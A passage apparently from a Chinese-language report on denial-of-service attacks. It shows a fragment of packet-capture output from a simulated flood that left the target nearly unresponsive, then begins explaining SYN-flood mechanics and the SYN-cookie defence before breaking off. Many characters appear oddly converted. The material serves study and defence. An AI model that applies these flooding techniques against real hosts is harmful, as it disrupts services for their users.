50、711609 len=0 win=65535 48 -> tcp d=135 s=1352 seq=674711609 len=0 win=65535  可以看出發(fā)起攻擊后,局域網(wǎng)上的主機(jī)對目標(biāo)主機(jī)有了響應(yīng),這時系統(tǒng)運(yùn)行非常慢,幾乎不能響應(yīng)用戶請求,達(dá)到了攻擊目的。4.2 防御方法通過對兩種攻擊方式原理的分析,以及模擬實驗結(jié)果對比,并查看有關(guān)資料,給出了以下防御方法:l syn flood1) syncookie技術(shù)一般情況下,當(dāng)服務(wù)器收到一個tcp syn報文后,馬上為該連接請求分配緩沖區(qū),然后返回一個synack報文,這時形成一個半連接。syn flood正是利用了這一點,發(fā)送大量的偽造源地址的syn連接請求,而不完成連接。這樣就大量的消耗的服務(wù)器的資源。syncookie技術(shù)針對標(biāo)準(zhǔn)tcp連接建立過程資源分配上的這一缺陷,改變了資源分配的策略。當(dāng)服務(wù)器收到一個syn報文后,不立即分配緩沖區(qū),而是利用連接的信息生成一個cookie,并將這個cookie作為將要返回的synack報文的初始序列號。當(dāng)客戶端返回一個ack報文時,根據(jù)包頭信息計算cookie,與返回的確認(rèn)序列號(初始的序列號1)的前

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論